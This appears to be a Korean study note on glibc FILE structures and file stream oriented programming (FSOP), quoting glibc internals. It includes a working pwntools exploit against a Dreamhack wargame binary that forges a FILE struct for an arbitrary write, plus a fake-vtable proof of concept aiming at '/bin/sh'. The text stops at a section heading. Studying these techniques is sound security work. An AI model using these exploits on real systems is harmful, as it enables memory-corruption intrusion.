glibc 의 FILE 구조체가 가지고 있는 vtable을 변경하는 등 파일 스트림을 이용해 프로그램의 흐름을 변경하는 기법
이지만 vtable 을 변경하는 것은 최근 버전에선 대부분 막혀있다.
그래서 요즘엔 그냥 파일 스트림을 변경한다.
로컬 버전은 glibc 2.35
따라서 실습은 glibc 2.35 기준으로 했다.
intro
dreamhack - Backgropund : _IO_FILE
https://dreamhack.io/lecture/courses/271
파일을 열 때 파일 접근 유형을 명시해야 한다.
대표적으로 읽기 및 쓰기 모드가 있다.
읽기 모드로 파일을 열고, 파일에 데이터를 작성하려하면 에러가 발생하지는 않지만 기능이 수행되지 않는다.
모든 파일 함수는 fopen
함수에서 반환한 파일 포인터를 인자로 전달받고, 기능을 수행하기에 앞서 파일 포인터를 참조해 파일 정보를 먼저 확인한다.
파일의 정보로는 파일이 어떤 모드로 열렸으며, 파일 작업을 수행하기 위한 함수의 주소가 포함된다.
따라서 파일 작업이 어떻게 이뤄지는지 알기 위해서는 파일 구조체를 이해하고 있어야 한다.
Dreamhack 실습
// Name: iofile.c // Compile: gcc -o iofile iofile.c #include <stdio.h> #include <string.h> #include <unistd.h> void file_info(FILE *buf) { printf("_flags: %x\n", buf->_flags); printf("_fileno: %d", buf->_fileno); } int main() { FILE *fp; char buf[256]; strcpy(buf, "THIS IS TESTFILE!"); fp = fopen("testfile", "w"); fwrite(buf, 1, strlen(buf), fp); file_info(fp); fclose(fp); return 0; }
드림핵에서 제공한 실습 코드이다
실행하면 다음과 같이 나온다.
_IO_FILE 구조체
// bootlin glibc 2.35 /libio/libio.h struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
_flags | 파일에 대한 읽기/쓰기/추가 권한을 의미한다. 0xfbad0000 값을 매직 값으로, 하위 2바이트는 비트 플래그로 사용된다. |
_IO_read_ptr | 파일 읽기 버퍼에 대한 포인터 |
_IO_read_end | 파일 읽기 버퍼 주소의 끝을 가리키는 포인터. |
_IO_read_base | 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터. |
_IO_write_base | 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터. |
_IO_write_ptr | 쓰기 버퍼에 대한 포인터. |
_IO_write_end | 파일 쓰기 버퍼 주소의 끝을 가리키는 포인터. |
_chain | 프로세스의 _IO_FILE 구조체는 _chain |
_fileno | 파일 디스크립터의 값이다. |
_IO_jump_t *vtable | 파일 관련 작업을 수행하는 가상 함수 테이블이다. |
_IO_FILE : _flags
_flags 멤버 변수는 파일의 성질을 나타내는 필드이다.
해당 필드는 fopen
함수로 파일을 열 때 전달한 모드에 따라 값이 설정된다.
0xfbad2c84
는 _IO_MAGIC
이라는 매직 넘버를 포함한 각 권한을 의미한다.
해당 값은 _IO_MAGIC (0xFBAD0000)
, _IO_NO_READS (0x0004)
, _IO_LINKED (0x0080)
, _IO_TIED_PUT_GET (0x0400)
,_IO_CURRENTLY_PUTTING (0x0800)
,_IO_IS_FILEBUF (0x2000)
비트가 포함된 것을 알 수 있다.
// bootlin glibc 2.35 /libio/libio.h #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000
_flags
멤버 변수는 fopen
함수로 파일을 열 때 전달한 모드에 따라 값이 설정된다.
아래는 fopen
함수가 함수가 호출될 때 실행되는 내부 함수인 _IO_new_file_fopen
이다.
// bootlin glibc2.35 /libio/fileops.c FILE * _IO_new_file_fopen (FILE *fp, const char *filename, const char *mode, int is32not64) { int oflags = 0, omode; int read_write; int oprot = 0666; int i; FILE *result; const char *cs; const char *last_recognized; if (_IO_file_is_open (fp)) return 0; switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; ...
FILE * _IO_new_file_fopen (FILE *fp, const char *filename, const char *mode, int is32not64) { int oflags = 0, omode; int read_write; int oprot = 0666; int i; FILE *result; const char *cs; const char *last_recognized; if (_IO_file_is_open (fp)) return 0; switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; } last_recognized = mode; for (i = 1; i < 7; ++i) { switch (*++mode) { case '\0': break; case '+': omode = O_RDWR; read_write &= _IO_IS_APPENDING; last_recognized = mode; continue; case 'x': oflags |= O_EXCL; last_recognized = mode; continue; case 'b': last_recognized = mode; continue; case 'm': fp->_flags2 |= _IO_FLAGS2_MMAP; continue; case 'c': fp->_flags2 |= _IO_FLAGS2_NOTCANCEL; continue; case 'e': oflags |= O_CLOEXEC; fp->_flags2 |= _IO_FLAGS2_CLOEXEC; continue; default: /* Ignore. */ continue; } break; } result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write, is32not64); if (result != NULL) { /* Test whether the mode string specifies the conversion. */ cs = strstr (last_recognized + 1, ",ccs="); if (cs != NULL) { /* Yep. Load the appropriate conversions and set the orientation to wide. */ struct gconv_fcts fcts; struct _IO_codecvt *cc; char *endp = __strchrnul (cs + 5, ','); char *ccs = malloc (endp - (cs + 5) + 3); if (ccs == NULL) { int malloc_err = errno; /* Whatever malloc failed with. */ (void) _IO_file_close_it (fp); __set_errno (malloc_err); return NULL; } *((char *) __mempcpy (ccs, cs + 5, endp - (cs + 5))) = '\0'; strip (ccs, ccs); if (__wcsmbs_named_conv (&fcts, ccs[2] == '\0' ? upstr (ccs, cs + 5) : ccs) != 0) { /* Something went wrong, we cannot load the conversion modules. This means we cannot proceed since the user explicitly asked for these. */ (void) _IO_file_close_it (fp); free (ccs); __set_errno (EINVAL); return NULL; } free (ccs); assert (fcts.towc_nsteps == 1); assert (fcts.tomb_nsteps == 1); fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end; fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_base; /* Clear the state. We start all over again. */ memset (&fp->_wide_data->_IO_state, '\0', sizeof (__mbstate_t)); memset (&fp->_wide_data->_IO_last_state, '\0', sizeof (__mbstate_t)); cc = fp->_codecvt = &fp->_wide_data->_codecvt; cc->__cd_in.step = fcts.towc; cc->__cd_in.step_data.__invocation_counter = 0; cc->__cd_in.step_data.__internal_use = 1; cc->__cd_in.step_data.__flags = __GCONV_IS_LAST; cc->__cd_in.step_data.__statep = &result->_wide_data->_IO_state; cc->__cd_out.step = fcts.tomb; cc->__cd_out.step_data.__invocation_counter = 0; cc->__cd_out.step_data.__internal_use = 1; cc->__cd_out.step_data.__flags = __GCONV_IS_LAST | __GCONV_TRANSLIT; cc->__cd_out.step_data.__statep = &result->_wide_data->_IO_state; /* From now on use the wide character callback functions. */ _IO_JUMPS_FILE_plus (fp) = fp->_wide_data->_wide_vtable; /* Set the mode now. */ result->_mode = 1; } } return result; }
코드를 살펴보면 fopen
함수의 두 번째 인자인 mode
변수가 ‘r’, ’w’, ‘a’ 문자인지를 확인하고, 각 권한에 해당하는 비트가 할당된다.
더 자세히 보면.
read_write
뿐만이 아니라 omode
변수에 O_RDONLY
, O_WRONLY
등의 값이 저장되는 것을 볼 수 있다.
fopen
함수는 결국 open
시스템 콜을 호출해 파일을 열게되는데, 이때 해당 시스템콜의 인자로 전달된다.
// bootlin glibc2.35 / libio/fileops.c result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write, is32not64);
_IO_FILE : _read (임의의 주소에 데이터 입력 시 사용)
fread
함수의 경우 결국 read
함수를 참조하여 동작하는데,read
함수의 구조는
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base
이며, 각 인자는 아래와 같이 사용가능하다.
fileno
: 읽어들일 방식, 보통 표준 입력하면 되기에 0을 사용_IO_buf_base
: 입력을 시작할 주소_IO_buf_end
: 입력을 종료할 주소
유의사항
_flags
값은0xfbad2488
이어야 한다.- 만약 100 byte로 선언된 buffer 변수에 overwrite 하기 위해서는
_IO_buf_end
>_IO_buf_base + 100
이어야 한다. - 삽입되는 값의 크기는
data = _IO_buf_end - _IO_buf_base
이어야 한다.
_IO_FILE : _write
fwrite
함수의 경우 결국 write
함수를 참조하여 동작하는데,
write
함수의 구조는 아래와 같다
write(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base
각 인자는 다음과 같이 사용 가능하다.fileno
: 출력 방식, 보통 표준 출력하면 되기에 1을 사용_IO_buf_base
: 출력을 시작할 주소_IO_buf_end
: 출력을 종료할 주소
유의사항
_flag
값은 보통0xfbad1000
를 쓴다._IO_read_end
에는 값이 있어야하며,_IO_write_base
와 같은 값을 삽입하면 된다.
_IO_FILE : _buf (stdin으로 값을 삽입하거나 stdout 으로 출력 시 사용)
stdin
/ stdout
함수 또한 _IO_FILE
구조체를 따른다.
특히 stdin
구조체의 buf_base
변수가 변경되어 있다면.
fgets(buf, size, stdin)
위와 같이 값을 입력 받을 때 buf
변수가 아닌 변조된 buf_base
주소에 값을 써버린다.
특이사항
_flags
값은 보통0xfbad208b
를 쓴다.buf_end
는 당연히buf_base
보다 커야한다.
_IO_FILE: vtable
_IO_FILE
구조체가 포함된 _IO_FILE_plus
구조체를 살펴보면 vtable 포인터가 존재하는 것을 확인할 수 있다.
Virtual fucntion Table (vtable)은 객체 지향 프로그래밍 언어에서 클래스를 정의하고 가상 함수를 사용할 때 할당되는 테이블이다.
vtable 구조체라고 불리지만 사실은 _IO_jump_t
구조체가 맞다.
이는 메모리에 가상 함수를 담을 영역을 할당하고, 함수의 주소를 기록한다.
가상 함수를 사용하면 해당 테이블을 기준으로 상대 주소를 통해 호출한다.
파일 구조체는 각 파일마다_IO_FILE
구조체 뿐만 아니라 함수 테이블을 가지고 있다.
vtable 변수는 객체 지향 프로그래밍에서 사용하는 테이블과 비슷하게 구현되어 있으며 파일 함수를 호출하면 해당 테이블을 참조하고, 실제 기능을 수행하는 함수를 호출한다.
아래는 파일 함수의 테이블을 정의한 _IO_jump_t
구조체의 모습이다.
구조체를 살펴보면, 16바이트 크기의 더미 바이트를 포함해 다양한 함수가 정의된 것을 확인할 수 있다.
디버깅을 통해 fopen
함수로부터 반환된 파일 포인터의 vtable 모습을 확인한결과
fopen으로 반환된 파일 포인터는 heap영역에 존재한다
아래는 stdin 에서 찾은 _IO_FILE_plus
구조체이다.
vtable은 아래와 같다.
_IO_FILE_plus
struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
_IO_jump_t
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
_IO_FILE_plus
구조체에서 _IO_FILE_plus + 8 byte
위치에 있는 값이며,
_IO_FILE_
구조체 기준으로는 _IO_FILE + 0xd8
위치의 값이다.
vtable
의 값은 offset을 더하기 위한 기준 값이 된다.
vtable
값은 호출할 함수의 주소를 담고 있는 주소여야 한다.
vtable
값 = system
함수의 주소를 값으로 가진 주소 - offset
이여야 한다.
_IO_FILE : vtable 호출 과정
-
glibc 2.35
_IO_jump_t 구조체에 어떻게 접근하는지 알아보기 위해fread
함수의 호출 과정을 통해 알아보자.fread
함수는_IO_fread
함수와 동일하게 정의되었다.해당 함수 내부에서_IO_sgetn
함수를 호출한다._IO_sgetn
함수의 구현체로_IO_XSGETN
을 호출한다.#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
vtable 변수를 참조하는 것을 확인할 수 있다.# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
size_t _IO_sgetn (FILE *fp, void *data, size_t n) { /* FIXME handle putback buffer here! */ return _IO_XSGETN (fp, data, n); }
size_t _IO_fread (void *buf, size_t size, size_t count, FILE *fp) { size_t bytes_requested = size * count; size_t bytes_read; CHECK_FILE (fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock (fp); bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); _IO_release_lock (fp); return bytes_requested == bytes_read ? count : bytes_read / size; }
#include <libio/iolibio.h> #define fread(p, m, n, s) _IO_fread (p, m, n, s)
-
glibc 2.27
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
_IO_FILE
구조체는 vtable 구조체와 함께한다.struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
FSOP
FSOP 는 앞에서 보았듯이 파일에 쓰거나 읽을 때 사용하는 file stream 을 이용하는 기법이다 .
아래는 예제 코드이다
// Name: iofile_aaw // gcc -o iofile_aaw iofile_aaw.c -no-pie #include <stdio.h> #include <unistd.h> #include <string.h> char account_buf[1024]; int overwrite_me; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_account() { FILE *fp; fp = fopen("/etc/passwd", "r"); fread(account_buf, sizeof(char), sizeof(account_buf), fp); write(1, account_buf, sizeof(account_buf)); fclose(fp); } int main() { FILE *fp; char file_buf[1024]; init(); fp = fopen("/etc/issue", "r"); printf("Data: "); read(0, fp, 300); fread(file_buf, 1, sizeof(file_buf)-1, fp); printf("%s", file_buf); if( overwrite_me == 0xDEADBEEF) read_account(); fclose(fp); }
FILE * fp;
파일포인터를 선언하고
fread
를 사용한다 overwrite_me
를 0xDEADBEEF
로 덮어야 한다.
파일 읽기 과정
_IO_fread
→ (_IO_sgetn)
→ _IO_file_xsgetn
→ (__underflow)
→_IO_new_file_underflow
콜 스택에서 ()를 확인할 수 없는 이유는 JMP 코드로 _IO_new_file_underflow로 뛰었기 때문이다.
fread
에서 _IO_sgetn
을 지나서
_IO_file_xsgetn
의 glibc 코드를 보면
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) { s = __mempcpy (s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } /* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); /* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; } count = _IO_SYSREAD (fp, s, count); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN; break; } s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); } } return n - want; }
위와 같고.
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { _IO_size_t want, have; want = n; ... if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }
인자인 n (want) 이 _IO_buf_end - _IO_buf_base
값 보다 작은지 검사하고 __underflow
를 호출한다.
__underflow
함수에서
_IO_new_file_underflow
함수를 호출한다.
__underflow (_IO_FILE *fp) { if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1) return EOF; if (fp->_mode == 0) _IO_fwide (fp, -1); if (_IO_in_put_mode (fp))
fp
에 _IO_new_file_underflow
함수의 포인터가 들어가있다.
_IO_new_file_underflow
int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; #if 0 /* SysV does not make this test; take it out for compatibility */ if (fp->_flags & _IO_EOF_SEEN) return (EOF); #endif if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } /* Flush all line buffered files before reading. */ /* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { #if 0 _IO_flush_all_linebuffered (); #else /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout); #endif } _IO_switch_to_get_mode (fp); /* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; }
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
_IO_new_file_underflow
안을 보면 _IO_SYSREAD
가 있다.
_IO_SYSREAD ( fp, fp -> _IO_buf_base, fp -> _IO_buf_end - fp -> _IO_buf_base);
_IO_ssize_t _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) { return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size)); }
위 코드를 실행하기 까지의 조건문들은 다음과 같다.
if (fp -> _flags & _IO_NO_READS)... if (fp -> _IO_read_ptr < fp -> _IO_read_end)... if (fp -> _IO_buf_base == NULL)... if (fp -> _flags & (_IO_LINE_BUF | _IO_UNBUFFERED))...
_flags
가 _IO_NO_READS
가 아닐떄 ,
_IO_read_end
보다 _IO_read_ptr
을 더 크게 준다. (0도 가능)
bufbase가 Null이 아니면 되고 ( eof가 나지는 않음)
_flags
에 _IO_LINE_BUF | _IO_UNBUFFERED
가 설정되어 있는지 확인.
_IO_SYSREAD ( fp, fp -> _IO_buf_base, fp -> _IO_buf_end - fp -> _IO_buf_base);
__read (fp->_fileno, buf, size));
read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
_fileno → 0, _IO_buf_base → &overwrite_me, len = _IO_buf_end - _IO_buf_base = 0x100
payload
from pwn import * ip = 'host3.dreamhack.games' port = 14329 p = remote(ip,port) elf = ELF('./iofile_aaw') overwrite_me = elf.symbols['overwrite_me'] payload = p64(0xfbad2488) payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += p64(0) # _IO_write_base payload += p64(0) # _IO_write_ptr payload += p64(0) # _IO_write_end payload += p64(overwrite_me) # _IO_buf_base payload += p64(overwrite_me + 1024) # _IO_buf_end payload += p64(0) # _IO_save_Base payload += p64(0) # _IO_backup_base payload += p64(0) # _IO_save_end payload += p64(0) # _markers payload += p64(0) #_chain payload += p64(0) # _fileno p.sendline(payload) p.sendline(p64(0xDEADBEEF) + b"\\x00"*1024) p.interactive()
따라서 페이로드는 다음과 같다.
FSOP 변천사
oz1ng 님의 SecurityFirst 팀 세미나 발표를 듣고 기록한 것 입니다.
아래의 모든 poc 코드들은 oz1ng 님이 작성한 것입니다.
문제시 oz1ng 님한테 물어봄.
glibc 2.23 이전의 fsop
// glibc 2.23 <= version #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS)
glibc 2.23 이하 버전까지는 vtable 에 대한 유효성 검사가 없어서 fake vtable overwrite 공격이 가능했다.
// gcc fake_vtable_overwrite.c -o fake_vtable_overwrite -no-pie #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> void hacked(const char * cmd) { printf("[+] Success : %s\n", cmd); } int main() { char * fake_vtable = malloc(0x100); printf("[+] Create fake_vtable: %p\n", fake_vtable); size_t hacked_addr = (size_t)&hacked; printf("[+] Get hacked func address: %p\n", hacked_addr); memcpy(fake_vtable+0x60, &hacked_addr, 4); printf("[+] Set fake_vtable->__sync to hacked func address: %p, %p\n", (uint64_t)fake_vtable+0x60, *(uint64_t*)(fake_vtable+0x60)); memcpy(&stderr->_flags, "/bin/sh\x00", 8); printf("[+] Set stderr->_flags to '/bin/sh' stings: %s\n", &stderr->_flags); stderr->_mode = 0; printf("[+] Set stderr->_mode to 0\n"); stderr->_IO_write_ptr = 1; stderr->_IO_write_base = 0; printf("[+] Set stderr->_IO_write_ptr > stderr->_IO_write_base\n"); memcpy((char*)stderr+0xd8, &fake_vtable, 8); printf("[+] Set fake_vtable->_vtable to fake_vtable: %p, %p\n", (uint64_t)stderr+0xd8, *(uint64_t*)(stderr+0xd8)); fflush(stderr); return 0; }
char * fake_vtable = malloc(0x100); printf("[+] Create fake_vtable: %p\n", fake_vtable); size_t hacked_addr = (size_t)&hacked; printf("[+] Get hacked func address: %p\n", hacked_addr); memcpy(fake_vtable+0x60, &hacked_addr, 4); printf("[+] Set fake_vtable->__sync to hacked func address: %p, %p\n", (uint64_t)fake_vtable+0x60, *(uint64_t*)(fake_vtable+0x60));
fake vtable 에 hacked 함수 주소를 세팅한다.
memcpy(&stderr->_flags, "/bin/sh\x00", 8); printf("[+] Set stderr->_flags to '/bin/sh' stings: %s\n", &stderr->_flags); stderr->_mode = 0; printf("[+] Set stderr->_mode to 0\n"); stderr->_IO_write_ptr = 1; stderr->_IO_write_base = 0; printf("[+] Set stderr->_IO_write_ptr > stderr->_IO_write_base\n"); memcpy((char*)stderr+0xd8, &fake_vtable, 8); printf("[+] Set fake_vtable->_vtable to fake_vtable: %p, %p\n", (uint64_t)stderr+0xd8, *(uint64_t*)(stderr+0xd8));
stderr 구조체를 조작한다.
fflush(stderr);
fsop 트리거
실제로 해보면 hacked 함수가 잘 실행된다고 한다.
glibc 2.24 ~ glibc 2.27 의 fsop
